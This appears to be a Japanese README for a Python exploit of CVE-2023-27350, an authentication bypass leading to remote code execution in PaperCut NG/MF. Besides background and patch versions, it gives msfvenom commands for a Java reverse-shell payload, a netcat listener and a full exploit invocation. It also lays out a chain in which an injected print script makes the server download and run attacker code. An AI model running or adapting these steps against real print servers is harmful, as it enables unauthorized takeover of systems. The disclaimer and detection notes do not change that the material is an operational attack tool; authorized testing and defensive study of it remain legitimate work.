
このエクスプロイトはCVE-2023-27350に基づいており、horizon3aiによるオリジナルのエクスプロイトとMetasploitモジュールをベースに構築されています。
PaperCut NG/MF の重大な認証バイパスおよびリモートコード実行の脆弱性に対するスタンドアロン Python エクスプロイト。CVSS 9.8。
CVE-2023-27350 は、20.1.7、21.2.11、22.0.9 より前のバージョンの PaperCut NG および MF に影響します。この欠陥により、認証されていない攻撃者が /app?service=page/SetupCompleted エンドポイント(初期インストール中にのみ到達可能なセットアップページ)にアクセスし、いかなる認証情報もなしに有効な管理者セッションを取得できます。
管理者アクセスを取得すると、攻撃者は PaperCut の印刷スクリプト機構を有効化し、サーバーの JVM によって実行される任意のコードを注入でき、サービスユーザーのコンテキストで完全な RCE につながります。
| ブランチ | 修正バージョン |
|---|---|
| 20.x | 20.1.7 |
| 21.x | 21.2.11 |
| 22.x | 22.0.9 |
18.x 以前のバージョンには公式パッチは提供されていません。
このエクスプロイトは、2つの公開実装の分析から開発されました:
Runtime.exec() を使用してコマンドを実行しますRuntime.exec(String) はシェルのメタ文字(>&、|、0>&1)を処理しないため、リバースシェルのペイロードが効果を発揮しません。また、このスクリプトはプリンター ID(l1001)をハードコードしており、英語のみの成功文字列をチェックするため、非英語環境では失敗しますexploit/multi/http/papercut_ng_rceURLClassLoader を介して Metasploit JAR を JVM にロードし、シェルへの依存を回避しますnc を使用したスタンドアロン用途には簡単に適応できませんPython 3.x
requests
msfvenom (part of Metasploit Framework)
nc (netcat)
pip install requests
1. JAR ペイロードを生成
msfvenom -p java/shell_reverse_tcp \
LHOST=<YOUR_IP> LPORT=<SHELL_PORT> \
-f jar -o payload.jar
2. リスナーを起動
nc -lvnp <SHELL_PORT>
3. エクスプロイトを実行
python exploit.py \
-u http://<TARGET>:9191 \
-j payload.jar \
-lh <YOUR_IP> \
-lp <HTTP_PORT> \
-rp <SHELL_PORT>
例:
python exploit.py \
-u http://192.168.1.100:9191 \
-j payload.jar \
-lh 192.168.1.10 \
-lp 9090 \
-rp 4444
1. Auth bypass via /app?service=page/SetupCompleted
↓
2. Obtain admin JSESSIONID without credentials
↓
3. Select [Template Printer] (l1001)
↓
4. Inject RhinoJS script into the print script field
↓
5. Script creates a URLClassLoader pointing to our HTTP server
↓
6. PaperCut JVM downloads and executes payload.jar
↓
7. Reverse shell
/app?service=page/SetupCompleted へのアクセスprint-and-device.script.enabled および print.script.sandboxed 設定の変更(バージョン >= 19)URLClassLoader のインスタンス化このエクスプロイトは教育目的および許可された用途(ペネトレーションテスト、CTF、ラボ環境)のみで提供されます。明示的な許可なしにシステムに対して使用することは違法です。著者はいかなる誤用についても責任を負いません。
| パラメータ | 説明 | デフォルト |
|---|
-u / --url | PaperCut のベース URL | 必須 |
-j / --jar | payload.jar へのパス | 必須 |
-lh / --lhost | あなたの IP(ターゲットがここに接続し返します) | 必須 |
-lp / --lport | JAR を配信する HTTP ポート | 9090 |
-rp / --rport | リバースシェルのポート | 4444 |